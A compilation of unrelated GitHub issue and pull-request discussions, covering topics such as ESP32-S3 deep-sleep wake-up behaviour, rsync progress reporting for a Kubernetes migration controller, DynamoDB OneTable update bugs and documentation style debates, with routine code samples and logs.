Like this as an example: https://github.com/SOEN490-SportsApp/SportsApp/blob/49ac4a6cc25075fda07301a780ce51d10b3f5490/Microservices/user-service/src/main/java/app/sportahub/userservice/controller/user/UserController.java#L28C1-L29C72
Since we have to provide the Swagger docs, adding javadocs would be too redundant, we have to keep it DRY. We should leave the Javadocs for implementation-specific stuff or for internal documentation.
Since the PUT and PATCH are basic CRUD operations, I believe the Javadocs would be too overkill for the operations. The Swagger for the API-level documentation should be enough. The endpoints in the controller are very simple, they are just calling the service in one line. I do agree that maybe the methods in the services need Javadocs.

@Ziadsharkos you can try to just mention in the Swagger what every operation does in the description using @Operation.

What do you think @wolfie7679?

This may be a bit late, but I think it would be a good idea to add some javadoc for both endpoints, as put and patch may be confusing down the line

Thanks for pointing it out, it has been added.


setTimeout isn't what is expected

In the class setCurrentTimeIndex, setTimeout is used to prevent layers from not responding (line 95). However what setTimeout do is that it wait specified time and then execute the function, which is not what is wanted here.

This method asks the layer to load a specific time. Then we set a timeout to check after xx seconds if the layer has successfully loaded this time. If not, we consider it loaded anyway. Because we don't want to wait forever.
Please specify the behavior your are expecting. You can change the timeout duration in options.


Github is caching the svgs even when proper cache related headers are set

Seems to be working fine now.


Corrected syntax for if and else statement.

If, else, and else if are case sensitive. It should be lowercase and not the first letter uppercase.

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] None of my changes are plagiarized from another source without proper attribution.
[x] My article does not contain shortened URLs or affiliate links.

If your pull request closes a GitHub issue, replace the XXXXX below with the issue number.
Closes #XXXXX

Closed and Reopened this PR to attempt to resolve a specific Travis build failure.


Pushing a Result probably shouldn't raise a Lua error

Currently, the impl Push for Result<T, E> will push the T if the result is Ok, or raise a Lua error if it is an Err.
I would have expected it to return a nil, <message> tuple instead, since that is the preferred way of passing errors back to Lua code and thus makes it easy to build idiomatic APIs.

I see. Only Rust panics would trigger lua errors then.


acceptance: Make test fields dynamic

Description
All region, deployment_template_id and instance_configuration_id fields
in the acceptance tests are now dynamic. Region fields are set through a
new environment variable EC_REGION, or set to a default if this variable
is not set.
Only ESS regions are supported. ECE environments are not supported as
the deployment template names and configurations will vary depending
on the ECE installation.
Additionally, the files within the testdata/ directory have been modified
to use default values rather specifying topology when it was not necessary
to test this way. This reduced complexity in our test templates.
Related Issues
Closes: https://github.com/elastic/terraform-provider-ec/issues/11
How Has This Been Tested?
By running the tests with different cloud providers and regions
Types of Changes

[x] New feature (non-breaking change which adds functionality)
[X] Refactoring (improves code quality but has no user-facing effect)

Readiness Checklist

[x] My code follows the code style of this project
[ ] My change requires a change to the documentation
[ ] I have updated the documentation accordingly
[ ] I have added tests to cover my changes
[x] All new and existing tests passed

Hi @karencfv thanks for the changes, would do you suggest having Region field as part of provider and all other resources then refer from there.

Hi @ggsood! In this case I am only introducing a new environment variable for the purposes of testing. This way it's not necessary to have a specific region hard coded into our acceptance tests.
I am not sure if I'd like to have this environment variable set for anything other than tests, as many people will have deployments in several different regions 🤔

yes @karencfv my apologies i was thinking it extends more than the test files, very sorry :(

No worries at all @ggsood! :)


Issue while running requirements.txt

When running the command
pip install -r requirements.txt
I get the error
OSError: [Errno 13] Permission denied: '/Library/Python/2.7/site-packages/colorama-0.3.9.dist-info
If it helps, i'm running MacOS Mojave but I doubt it should make a difference. Anyone got a fix?

Seems like you don't have permission to the Python folder. Try sudo chown -R $USER /Library/Python/2.7

https://github.com/sindresorhus/weechat-notification-center/issues/1

@PallavAg try run with sudo -H pip install -r requirements.txt this will install the requirements for you.


TBI - Add more CAP specific items to @sap-ux/project-access

Description (include screenshots)
Add function isCapProject and other CAP specific const values
Value
Enhances capabilities of @sap-ux/project-access in regards to CAP
Architecture Elaboration
No
Notes
Tasks

[ ] Task 1

@cianmSAP Would getProjectType or getCapProjectType not cover this?

@cianmSAP Would getProjectType or getCapProjectType not cover this?

I see the PR now, that it is a convenience method. 👍

Closing as method has been added


ESP32-S3 - incorrect behaviour of EXT1 Wake Up All Low (IDFGH-10637)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

IDF version.
v5.1
Operating System used.
Linux
How did you build your project?
Command line with idf.py
If you are using Windows, please specify command line type.
None
Development Kit.
ESP32-S3-DevKitC-1,  ESP32-DevKitC
Power Supply used.
USB
What is the expected behavior?
Base on documentation Sleep Modes, ESP32-S3 or ESP32 with multi GPIOs pins configure to wake up using External Wakeup (ext1) with option ESP_EXT1_WAKEUP_ALL_LOW should wake up only when all configured GPIOs have low state.
What is the actual behavior?
ESP32-S3 don't  behavive correclty as descirbe documentation Sleep Modes and multi GPIOs pins configure to wake up using External Wakeup (ext1) with option ESP_EXT1_WAKEUP_ALL_LOW, wake up when only one of pins have low state.
ESP32 don't have this problem and behave correctly.
Steps to reproduce.

Compile below code for target ESP32-S3

#include "driver/gpio.h"
#include "esp_sleep.h"
#include "esp_system.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "sdkconfig.h"

#if CONFIG_IDF_TARGET_ESP32
    #define WAKE_UP_GPIO_1	GPIO_NUM_32
    #define WAKE_UP_GPIO_2	GPIO_NUM_33
    #define WAKE_UP_GPIO_3	GPIO_NUM_14
#endif

#if CONFIG_IDF_TARGET_ESP32S3
    #define WAKE_UP_GPIO_1	    GPIO_NUM_4
    #define WAKE_UP_GPIO_2	    GPIO_NUM_6
    #define WAKE_UP_GPIO_3	    GPIO_NUM_7
#endif

static const char *TAG = "app";

void print_gpio_status(gpio_num_t gpio_num)
{
    gpio_set_direction(gpio_num, GPIO_MODE_INPUT);
    gpio_set_pull_mode(gpio_num, GPIO_FLOATING);
    ESP_LOGI(TAG, "GPIO %d level %d", gpio_num, gpio_get_level(gpio_num));
}

void app_main(void)
{
    esp_sleep_wakeup_cause_t wake_up_cause = esp_sleep_get_wakeup_cause();
    ESP_LOGI(TAG, "Wake Up Couse %d", wake_up_cause);

    if(ESP_SLEEP_WAKEUP_EXT1 == wake_up_cause) {
        uint64_t ext1_wake_up_status = esp_sleep_get_ext1_wakeup_status();
        ESP_LOGI(TAG, "Wake Up EXT1 status 0x%08llx", ext1_wake_up_status);
    }

    print_gpio_status(WAKE_UP_GPIO_1);
    print_gpio_status(WAKE_UP_GPIO_2);
    print_gpio_status(WAKE_UP_GPIO_3);

    uint64_t ext1_wake_up_status = 0;
    ext1_wake_up_status |= (1ULL << WAKE_UP_GPIO_1);
    ext1_wake_up_status |= (1ULL << WAKE_UP_GPIO_2);
    ext1_wake_up_status |= (1ULL << WAKE_UP_GPIO_3);

    ESP_LOGI(TAG, "Set Wake Up EXT1 status 0x%08llx", ext1_wake_up_status);
    esp_err_t err = esp_sleep_enable_ext1_wakeup(ext1_wake_up_status, ESP_EXT1_WAKEUP_ALL_LOW);
    if (err) {
        ESP_LOGE(TAG, "Set Wake Up EXT1 error 0x%x", err);
    }

    vTaskDelay( pdMS_TO_TICKS(5000));

    ESP_LOGI(TAG, "deep sleep start");
    esp_deep_sleep_start();
}

Set GPIOs 4, 6, 7 to high state
Flash ESP32-S3
Set one of GPIOs (4 or 6 or 7) to low state
ESP32-32 wake up, but it shouldn't.  ESP32S3 should only wake up only when all GPIOs (4, 6, 7) are low state
Compile and flash the same code on ESP32 It behave correctly. Only wake up when all GPIOs (32, 33, 14) are low state.

Debug Logs.
I (0) cpu_start: App cpu up.
I (193) cpu_start: Pro cpu start user code
I (194) cpu_start: cpu freq: 160000000 Hz
I (194) cpu_start: Application information:
I (197) cpu_start: Project name:     test_deep_sleep
I (202) cpu_start: App version:      1
I (207) cpu_start: Compile time:     Jul 13 2023 17:37:05
I (213) cpu_start: ELF file SHA256:  0b443dd94c5e5576...
I (219) cpu_start: ESP-IDF:          v5.1
I (223) cpu_start: Min chip rev:     v0.0
I (228) cpu_start: Max chip rev:     v0.99
I (233) cpu_start: Chip rev:         v0.1
I (238) heap_init: Initializing. RAM available for dynamic allocation:
I (245) heap_init: At 3FC95500 len 00054210 (336 KiB): DRAM
I (251) heap_init: At 3FCE9710 len 00005724 (21 KiB): STACK/DRAM
I (258) heap_init: At 3FCF0000 len 00008000 (32 KiB): DRAM
I (264) heap_init: At 600FE070 len 00001F90 (7 KiB): RTCRAM
I (271) spi_flash: detected chip: generic
I (275) spi_flash: flash io: dio
I (292) sleep: Configure to isolate all GPIO pins in sleep state
I (299) sleep: Enable automatic switching of GPIO sleep configuration
I (306) app_start: Starting scheduler on CPU0
I (311) app_start: Starting scheduler on CPU1
I (311) main_task: Started on CPU0
I (321) main_task: Calling app_main()
I (321) app: Wake Up Couse 3
I (331) app: Wake Up EXT1 status 0x00000040
I (331) app: GPIO 4 level 1
I (341) app: GPIO 6 level 0
I (341) app: GPIO 7 level 1
I (341) app: Set Wake Up EXT1 status 0x000000d0
I (5351) app: deep sleep start

More Information.
Is this the software or hardware issue (faulty unit) , or was there a hardware modification between ESP32-S3 and ESP32. Documentation says that deep sleep and wake up should behave the same for all ESP32 family.

@MarcinInne  hello, this is not a hardware bug, but rather an error in our EXT1 example and the official documentation. In reality, except for the ESP32, other chips such as ESP32-S2, ESP32-S3, ESP32-C6, and ESP32-H2 only support ANY LOW wake-up, not ALL LOW.

Thanks for information
Please update information about EXT1 Wake Up in official documentation for all ESP32 family, beside original ESP32


Merge 'ThreeMammals:master' into 'master'

Let's update your repo with latest top-commits from head repository.
That will allow to perform rebase-operation for feature branches without merge-commits.
⚠ Warning!
Use fast-forwarding aka Rebase and merge option to merge please! 👇

Alternatively,
Could you Sync fork please? This is preferred option!
After repo synchronization, close this PR please!

Also, I don't see develop branch in your forked repo!
Could you Sync fork please? So, new develop branch will occur with all top commits!
Don't forget to make develop branch as default one!


Axom Dev Guide Updates

Summary

This PR clarifies some of the Axom Dev Guide discussion and add some details related to TPLs and updates of those.
It also update some of the release process discussion.

The RTD content for this PR is here: https://axom.readthedocs.io/en/task-rhornung67-devguide-tpls/docs/sphinx/dev_guide/index.html

I've addressed all the reviewer comments so far. Thank you for the corrections and suggestions. If anyone else wants to review this, please do that soon. I will merge it when all checks are green.


Enzyme adapter update

We broke jest and I managed to fix some of the issues, but now I'm stuck on issues related to code splitting.
Note that when modifying the .babelrc if you want to re-run jest, try it with --no-cache:
./node_modules/.bin/jest --no-cache

We should be good to go now, testing this on heroku is the next step. Last time it failed where it was loading modules from the haste map multiple times (.cache).

Heroku tests fixed.

I changed some code in line with upstream@next so it will be easier to merge later on.
We need to create more tests for general things like if the document outputs script blocks with correct md5 sums, some SEO checks (empty title? etc.). They can go into another PR.


 It's easiest to find by searching for blank but here's an example:
      delimited(
        terminated(char('{'), blank),
        terminated(
          cut(initializer_list),
          terminated(blank, opt(terminated(char(','), blank))),
        ),
        cut(char('}')),
      ),

If a lexer was being used this would be handled during lexing and so it wouldn't show up in the grammar. Is there a better way of abstracting away whitespace handling so that it doesn't show up all over the grammar?

as of now there's no nicer way. previous versions of nom had macros to help in whitespace handling, by interleaving space parsers here and there, but it was a huge hack :disappointed:


Is it possible to have multiple tlds

Is it possible to have different tlds? I can get it working just fine when there is only one domain. But as soon as I branch out to another TLD everything seems to go wrong.
Here's some pseudo docker-compose code as an example:
nginx:
...
nginx-gen:
...
simple-website1:
...
   - LETSENCRYPT_HOST=domain1.com
   - VIRTUAL_HOST=domain1.com

simple-website2:
...
    - LETSENCRYPT_HOST=domain2.com
    - VIRTUL_HOST=domain2.com

The answer is yes.


Initialize padding member to silence warning.

Fixes #419 and gpuCI gcc10 builds.

gpuCI: NVIDIA/thrust#1590
DVS CL: 30883617


Updated behavior.py

added reproduction and clean genome function

added reproduction functions and clean genome functions to behavior.py


Progress reporting for rsync client pod

Is your feature request related to a problem? Please describe.
For the new DirectVolumeMigration Controller, we need the ability to report the progress of the migration operation. At the very minimum, we want to report something like:

3/10 rsync client pods are running
4/10 rsync clients pods have completed
3/10 rsync clients pods have failed

For more granular reporting we want to get logs from the source client pods and get the actual rsync progress.
Describe the solution you'd like
A clear and concise description of what you want to happen.

Phase 1: Add a new CR that will

poll every 5 seconds to get the pod
report whether the pod is running, completed, or failed.

Phase 2: If the pod is running, stream updates from the client rsync pod logs in the status.

Describe alternatives you've considered
Running the poll in the wait step of DirectVolumeMigration controller phase.
This was rejected because it will complicate the Phase logic. All it really cares about is to wait on the status of each client pod. Hence having an abstraction object in the same cluster as the controller would allow this controller to watch that new object and hide the implementation detail of polling under the new object controller
Additional context

@alaypatel07 I'm trying to understand the value addition that the Phase 1 approach has compared to just monitoring the Pod directly.
Please correct me if I'm misinterpreting what you've wrote in my question below.

Phase 1: Add a new CR that will
poll every 5 seconds to get the pod
report whether the pod is running, completed, or failed.

The Pod itself should be able to display the running/completed/failed information directly, right? Why introduce another layer?

Is the CR you're proposing we introduce going to monitor >1 rsync pods, collecting all of the progress into one place, or is it 1:1 new CR : rsync Pod?

The Pod itself should be able to display the running/completed/failed information directly, right? Why introduce another layer?

The pod is always deployed on the source side, we don't have a watch mechanism there. We need to poll. Phase 1 logic is just running/completed/failed information based on pod, but phase 2 has complexity where we need to parse the logs and provide progress back. In order to keep the complexity out of the phase where we are waiting for the pods to completed adding this CR is valuable. Also, since this CR is a representation of the Pod in the controller cluster, we get "watch" for free on it, and the poll is an implementation detail hidden under the new controller.

Is the CR you're proposing we introduce going to monitor >1 rsync pods, collecting all of the progress into one place, or is it 1:1 new CR : rsync Pod?

I am proposing 1:1 new CR: rsync Pod.

When a migration is running, the migmigration controller polls for latest migration state every 3 seconds.
I don't think it's beneficial for us to run the migmigration reconcile at a higher frequency than 3 seconds (e.g. in this case i think it's being suggested we reconcile every time a line is logged from rsync output since that will be dumped into status).  Given that we aren't using the cached client in a bunch of places and don't want to overload the APIserver, I would think that from a performance perspective it would negatively impact us to add more watches to the migmigration controller compared to checking on things at a more relax interval (the 3 second poll).
On a different note: I think actually agree with you that it would be cool if we had a CR that was 1:1 with rsync and just showed the aspects we care about, visible in the status columns. I'm imagining being able to do something like:
oc get rsyncjobs # made up this name, ignore that

NAME         AGE  STATUS      PROGRESS  PVC
rsyncjob-1   5s   InProgress  58%       my-pvc-1
rsyncjob-2   7s   InProgress  92%       my-pvc-2

@djwhatle initially the plan was to add exact progress number as you have in the example. But in order to get best value for engineering time, I suggested we start with tailing last 10 lines of the rsync output. So the interface now becomes
oc get dpmp foo -oyaml
...
...
...
status:
  conditions:
  -
  phase: Running
  logLines: "|
        696.25M  38%   40.64MB/s    0:00:16 (xfr#167, to-chk=9/178) 2020/10/28 02:31:39 [1] <f+++++++++ file90
        700.45M  38%   40.64MB/s    0:00:16 (xfr#168, to-chk=8/178)2020/10/28 02:31:40 [1] <f+++++++++ file91
        704.64M  38%   40.64MB/s    0:00:16 (xfr#169, to-chk=7/178)2020/10/28 02:31:40 [1] <f+++++++++ file92
        708.84M  39%   40.65MB/s    0:00:16 (xfr#170, to-chk=6/178)2020/10/28 02:31:40 [1] <f+++++++++ file93
        713.03M  39%   40.65MB/s    0:00:16 (xfr#171, to-chk=5/178)2020/10/28 02:31:40 [1] <f+++++++++ file94
        717.23M  39%   40.65MB/s    0:00:16 (xfr#172, to-chk=4/178)2020/10/28 02:31:40 [1] <f+++++++++ file95
        721.42M  39%   40.65MB/s    0:00:16 (xfr#173, to-chk=3/178)2020/10/28 02:31:40 [1] <f+++++++++ file96
        725.61M  40%   40.66MB/s    0:00:17 (xfr#174, to-chk=2/178)2020/10/28 02:31:40 [1] <f+++++++++ file97
        729.81M  40%   40.66MB/s    0:00:17 (xfr#175, to-chk=1/178)2020/10/28 02:31:40 [1] <f+++++++++ file98
        734.00M  40%   40.67MB/s    0:00:17 (xfr#176, to-chk=0/178)2020/10/28 02:31:40 [1] <f+++++++++ file99"

The thought process is, we want to add visibility into rsync but at the same time keep sanity in our code base. Parsing logs will get more and more complex in production as we get into edge cases of all that rsync can log.
I asked myself, is parsing really adding value? (It would be really COOL but) Can we add value in an easier more reliable way?
Let me know if you have any suggestions

That said, in further iteration, we can always add the parsing logic that would give a number on the progress, if available in the last 10 lines. My preliminary investigation shows what the 40% complete in the above snippet only shows the update of files that were uploaded, it does not take into account the files that were deleted. Hence, I think in order to organically grow I am trying to make it work so we have logs available, and then once we have basic plumbing in place we can access how to get progress number

@alaypatel07 I may be missing some other features, but I don't see much value in a CR that just displays the last 10 lines of a Pod log. This is provided by the k8s Pods directly with oc logs pod_name --tail=10
If there is more intelligence in the progress CR, then it starts to make sense to me.
I don't think parsing the progress should be too bad. I put together a demo that grabs the last percent and transfer rate logged in this demo: https://play.golang.org/p/iMbCcYispAf
package main

import (
	"fmt"
	"regexp"
)

func main() {
	// Example of parsing rsync output for progress percent and transfer rate
	last10 := `696.25M  38%   40.64MB/s    0:00:16 (xfr#167, to-chk=9/178) 2020/10/28 02:31:39 [1] <f+++++++++ file90
        700.45M  38%   40.64MB/s    0:00:16 (xfr#168, to-chk=8/178)2020/10/28 02:31:40 [1] <f+++++++++ file91
        704.64M  38%   40.64MB/s    0:00:16 (xfr#169, to-chk=7/178)2020/10/28 02:31:40 [1] <f+++++++++ file92
        708.84M  39%   40.65MB/s    0:00:16 (xfr#170, to-chk=6/178)2020/10/28 02:31:40 [1] <f+++++++++ file93
        713.03M  39%   40.65MB/s    0:00:16 (xfr#171, to-chk=5/178)2020/10/28 02:31:40 [1] <f+++++++++ file94
        717.23M  39%   40.65MB/s    0:00:16 (xfr#172, to-chk=4/178)2020/10/28 02:31:40 [1] <f+++++++++ file95
        721.42M  39%   40.65MB/s    0:00:16 (xfr#173, to-chk=3/178)2020/10/28 02:31:40 [1] <f+++++++++ file96
        725.61M  40%   40.66MB/s    0:00:17 (xfr#174, to-chk=2/178)2020/10/28 02:31:40 [1] <f+++++++++ file97
        729.81M  40%   40.66MB/s    0:00:17 (xfr#175, to-chk=1/178)2020/10/28 02:31:40 [1] <f+++++++++ file98
        734.00M  40%   40.67MB/s    0:00:17 (xfr#176, to-chk=0/178)2020/10/28 02:31:40 [1] <f+++++++++ file99\`

	// Percent Complete
	percentRegex := regexp.MustCompile(`\d+\%`)
	percentMatches := percentRegex.FindAllString(last10, -1)

	// Transfer Rate
	rateRegex := regexp.MustCompile(`\d+\.\w*\/s`)
	rateMatches := rateRegex.FindAllString(last10, -1)

	if len(percentMatches) > 0 && len(rateMatches) > 0 {
		progressPercent := percentMatches[len(percentMatches)-1]
		transferRate := rateMatches[len(rateMatches)-1]
		fmt.Printf("Progress: [%v], Transfer Rate: [%v]", progressPercent, transferRate)
	}
}

@alaypatel07 I may be missing some other features, but I don't see much value in a CR that just displays the last 10 lines of a Pod log. This is provided by the k8s Pods directly with oc logs pod_name --tail=10

I think the value comes from the fact that this CR would be the basis of other developments we do for progress reporting. It abstracts the complexity from the DirectVolumeMigration controller, and we have all the implementation detail nicely wrapped in this controller. Apart from that engineering benefit, +1 users get to see the remote cluster logs from the controller cluster as well.
For an example of the implementation details: in order to grab the logs like oc logs pod_name --tail=10 we need to establish a bi-directional communication underneath the hood. In order for efficient implementation, we would want to always use a common socket for the same pod and not set up a new connection every time we reconcile. These kinds of details are nicely orchestrated if we have a separate controller compared to implementing them Itinerary tasks of the DirectVolumeMigration controller.
Thanks for the demo playground link, will be useful.


Bug Report: Braava not working in homekit automations

Describe The Bug:
Hello, I just installed the latest beta who can support my roomba i7 and braava m6. I can find great both now on my homekit.
I make automation when the roomba starts at night to turn on some lights works like a charm! But in the same automation but for brava automation not working. I find out to work I have to open home app! In roomba and other equipment I don't need to open the app. Maybe is because is beta?
Keep the great work. Waiting for your fix!
I run it on raspberry pi 4 with homebridge
To Reproduce:
I don't know
Expected behavior:
Don't know
Logs:
Don't know

Config:
Don't know

Node Version:
Node -v
NPM Version:
Npm -v
Homebridge Version:
Latest
Plugin Version:
Latest beta
Operating System:
Other

Do you have a home hub set up?

Ex. HomePod, HomePod mini, or Apple TV

Yes i have homepod mini everything up to date. All automations working fine including roomba with the same plugin. Only the braava needs me to open home app so automations for braava will work.

Ok, that is really weird. Tomorrow I will be releasing beta's for version 3 which might solve this problem. I will let you know when I publish a semi-stable beta

Ok please release it as soon as possible and try it cause I really need this feature as irobot work with cameras so in the night you must open a light in room.
I have 2 in the same account one roomba and one braava. Automations in roomba works great

Hello i installed the latest bets now and nothing works doesn't find at all the roomba and braava.
This is the error on homebridge
[14/02/2022, 07:41:26] [iRobot] Adding new accessory: Braava jet
[14/02/2022, 07:41:26] [iRobot] TypeError: this.platform.config.sensors is not iterable
at new iRobotPlatformAccessoryV3 (/usr/local/lib/node_modules/homebridge-irobot/src/V2/platformAccessory.ts:390:47)
at /usr/local/lib/node_modules/homebridge-irobot/src/V2/platform.ts:126:15
at processTicksAndRejections (node:internal/process/task_queues:96:5)
I have to go back to stable but now I don't have the braava

Please delete your config when upgrading because the configuration options change

I do it already and same thing. Also Uninstall and install again same thing. I try to add sensors in settings page logs me in but after 1 minute it says offline and don't work.
What can I do?

On 14 Feb 2022, at 4:07 PM, bloomkd46 @.***> wrote:

Please delete your config when upgrading because the configuration options change
—
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.
You are receiving this because you authored the thread.

Hello again. From the version 3 I never achieve connection to irobot . All the beta versions shows in log my brava and roomba as offline every 5 seconds. When I restart homebridge I can I see that plug-in adds my accessories but after one minute start every 5 seconds to show them offline.
I never achieve to connect on version 3. What happened?.also remove config again the same

Please try the latest beta:


Screenlane

Fixes Issue
Closes #429
Changes proposed
two link are here, so one link is removed.
https://screenlane.com/
Screenshots

Note to reviewers
Any kind of feedback will be appreciated

@parma1111 could you please resolve conflicts?

@parma1111 could you please resolve conflicts?

Now review the PR , Rupali


Use try/except upon self._info['regularMarketOpen']

As Mutual funds don't have this information... so just do it a little more delicately
Example: RSPP (https://finance.yahoo.com/quote/RSPP)

2 Code factor issues already existed

So guys are you integrating this Pull Request?


Issues on update sub property and updating iso dates with set

Describe the bug
We use onetable a lot and had some issues with some more advanced update use-cases. We ran into two issues:

issue 1: setting a sub property to null throws because the generated DDB update statement tires to remove the sub property and set/overwrite the object
issue 2: when trying to update a date field with set it throws when isoDates is set to true

To Reproduce
Demo repo with debug.ts: https://github.com/WolfWalter/dynamodb-onetable
Cut/Paste
/*
    debug.ts - Just for debug

    Edit your test case here and invoke via: "jest debug"

    Or run VS Code in the top level directory and just run.
 */
import { Client, Table } from './utils/init'

jest.setTimeout(7200 * 1000)

//  Change with your schema
const schema = {
    version: '0.0.1',
    indexes: {
        primary: {hash: 'pk', sort: 'sk'},
        gs1: {hash: 'gs1pk', sort: 'gs1sk', project: 'all'},
    },
    params: {
        createdField: 'createdAt',
        updatedField: 'updatedAt',
        isoDates: true,
        timestamps: true,
        separator: '#',
        warn: false,
    },
    models: {
        User: {
            pk: { type: String, value: 'user#' },
            sk: { type: String, value: 'user#${email}' },
            email: { type: String, required: true },
            address: {
              type: Object,
              default: {},
              schema: {
                  street: {type: String},
                  city: {type: String},
                  zip: {type: String, required: false},
              },
            },
            updatedAt: {type: Date },
        }
    } as const,
}

//  Change your table params as required
const table = new Table({
    name: 'DebugTable',
    client: Client,
    partial: false,
    schema,
    logger: true,
})

//  This will create a local table
test('Create Table', async () => {
    if (!(await table.exists())) {
        await table.createTable()
        expect(await table.exists()).toBe(true)
    }
})

test('Update sub property to null should not throw?', async () => {
  let User = table.getModel('User')

  // throws "OneTable execute failed \"update\" for \"User\", Invalid UpdateExpression: Two document paths overlap with each other; must remove or rewrite one of these paths; path one: [address, zip], path two: [address]"
  // because it tries to remove the `zip` and set the `address` in the same update
  await expect(
    () => User.update({email<EMAIL_ADDRESS>address: { street: 'aStreet', city: 'aCity', zip: null as unknown as undefined }})
  ).rejects.not.toThrow()
})

test('Update date field with set should not throw', async () => {
  let User = table.getModel('User')

  // throws: Unsupported type passed: Mon Oct 07 2024 16:21:29 GMT+0200 (Central European Summer Time). Pass options.convertClassInstanceToMap=true to marshall typeof object as map attribute.
  await expect(
    () => User.update({email: 'roadrunner@acme.com'},{ set: { updatedAt: new Date() }})
  ).rejects.not.toThrow()

  // if setting options.convertClassInstanceToMap=true as suggested by the error it gets worse and the date gets set to `Invalid Date`for the local DDB and an empty object/DDB-Map in a real DDB
})

test('Destroy Table', async () => {
    await table.deleteTable('DeleteTableForever')
    expect(await table.exists()).toBe(false)
})

 FAIL  test/debug.ts (6.648 s)
  ✓ Create Table (339 ms)
  ✕ Update sub property to undefined/null should not trow (219 ms)
  ✕ Update date field with set should not throw (26 ms)
  ✓ Destroy Table (28 ms)

  ● Update sub property to undefined/null should not trow

    expect(received).rejects.not.toThrow()

    Error name:    "OneTableError"
    Error message: "OneTable execute failed \"update\" for \"User\", Invalid UpdateExpression: Two document paths overlap with each other; must remove or rewrite one of these paths; path one: [address, zip], path two: [address]"

          684 |                     this.log.error(`OneTable exception in "${op}" on "${model} ${err.message}"`, {err, trace})
          685 |                 }
        > 686 |                 throw new OneTableError(`OneTable execute failed "${op}" for "${model}", ${err.message}`, {
              |                       ^
          687 |                     code,
          688 |                     err,
          689 |                     trace,

          at Table.execute (src/Table.js:686:23)
          at Model.run (src/Model.js:375:22)
          at Model.updateItem (src/Model.js:1064:16)
          at Model.update (src/Model.js:827:16)
          at Object.<anonymous> (test/debug.ts:68:3)

      68 |   await expect(
      69 |     () => User.update({email<EMAIL_ADDRESS>address: { street: 'aStreet', city: 'aCity', zip: null as unknown as undefined }})
    > 70 |   ).rejects.not.toThrow()
         |                 ^
      71 | })
      72 |
      73 | test('Update date field with set should not throw', async () => {

      at Object.toThrow (node_modules/expect/build/index.js:218:22)
      at Object.<anonymous> (test/debug.ts:70:17)

  ● Update date field with set should not throw

    expect(received).rejects.not.toThrow()

    Error name:    "Error"
    Error message: "Unsupported type passed: Fri Oct 18 2024 13:15:28 GMT+0200 (Central European Summer Time). Pass options.convertClassInstanceToMap=true to marshall typeof object as map attribute."

          1074 |                 }
          1075 |             } else {
        > 1076 |                 item = client.marshall(item, options)
               |                               ^
          1077 |             }
          1078 |         } else {
          1079 |             if (Array.isArray(item)) {

          at convertToAttr (node_modules/@aws-sdk/util-dynamodb/dist-cjs/index.js:133:9)
          at node_modules/@aws-sdk/util-dynamodb/dist-cjs/index.js:197:20
          at convertToMapAttrFromEnumerableProps (node_modules/@aws-sdk/util-dynamodb/dist-cjs/index.js:201:5)
          at convertToAttr (node_modules/@aws-sdk/util-dynamodb/dist-cjs/index.js:111:12)
          at Dynamo.marshall (node_modules/@aws-sdk/util-dynamodb/dist-cjs/index.js:307:26)
          at Table.marshall (src/Table.js:1076:31)
          at Expression.command (src/Expression.js:509:29)
          at Model.run (src/Model.js:305:30)
          at Model.updateItem (src/Model.js:1064:27)
          at Model.update (src/Model.js:827:27)
          at test/debug.ts:78:16
          at Object.toThrow (node_modules/expect/build/index.js:202:58)
          at Object.<anonymous> (test/debug.ts:79:17)

      77 |   await expect(
      78 |     () => User.update({email: 'roadrunner@acme.com'},{ set: { updatedAt: new Date() }})
    > 79 |   ).rejects.not.toThrow()
         |                 ^
      80 |
      81 |
      82 |   // if setting options.convertClassInstanceToMap=true as suggested by the error it gets worse and the date gets set to `Invalid Date`for the local DDB and an empty object/DDB-Map in a real DDB

      at Object.toThrow (node_modules/expect/build/index.js:218:22)
      at Object.<anonymous> (test/debug.ts:79:17)

Test Suites: 1 failed, 1 total
Tests:       2 failed, 2 passed, 4 total
Snapshots:   0 total
Time:        6.691 s, estimated 26 s
Ran all test suites matching /debug.ts/i.

Expected behavior

issue 1: do not try to remove the sub property if the whole field gets updated
issue 2: convert the Date to an ISO-Date before passing it to DDB

Environment (please complete the following information):

OS: Ubuntu 24.4 (found the issues in a current node Lambda)
Node Version: 20
OneTable Version: 2.7.5
TypeScript Version: 5.5

A couple of comments:
Regarding issue 1.

When you use User.update inside an expect block, you need to use await and async() on the function definition
Your first update fails because there isn't a "partial: true" to allow partial updates. When false, the entire object is updated and you cannot do partial removals. Also, set "exists: null" to allow an upsert. If you do a create first to ensure the object exists.

Regarding issue 2

ISO dates are encoded as strings, when you do a "set", you are directly setting the property value. So use the following instead:
set: {updatedAt: new Date().toISOString()}

Hi @mobsense,
thanks for the feedback.
To use partial in  issue 1 is not what I expected, because it works with undefined and I gave the full address. I guess I just hoped that null would be handled like undefined in this case, because onetable knows that it cannot be null and by using false as the the default for nulls.
For issue 2 that's what we implemented after running into it. I didn't realize that set does come without any of the onetable magic.

In OneTable, undefined and null mean 2 very different things. Null is used to indicate a property that must be deleted. Undefined is exactly the same as completely omitting the property.
Yes, you could argue that "set" should apply the onetable data mapping routines. If you feel strongly about this, I'll change this to an enhancement issue.

Ok, got it. Sorry for responding so late. Yes, applying the mapping routines on set, would be something I really wishes onetable would handle.


RMT memory block clearing

I'm not sure if this actually matters, but doesn't the below mentioned line clear only half the RMT memory block. Should that be the whole block? Trying to wrap my head around the code here :)
https://github.com/MartyMacGyver/ESP32-Digital-RGB-LED-Drivers/blob/5c8f22bb0211c8c284adaa3079975654e8d39b8e/esp-idf/demo1/components/esp32_digital_led_lib/esp32_digital_led_lib.cpp#L293-L295

Ah wait, a 0 value stops the RMT tx right? Even tho I don't think that's documented anywhere.. :)
So the other half of the memory block doesn't matter then.


Bring in ExpressionToString

Remember how we were working on improved messages?

Inutile model validation error message (issue)
Beginnings of #25 (pull request)

In the end we decided to implement a simplistic class (ExpressionInspector) - we thought to improve it upon demand. There is now a package for this (ExpressionToString) who handles advanced cases. Should we bring it in?
I think we will call it from ExpressionInspector.

On second thought:
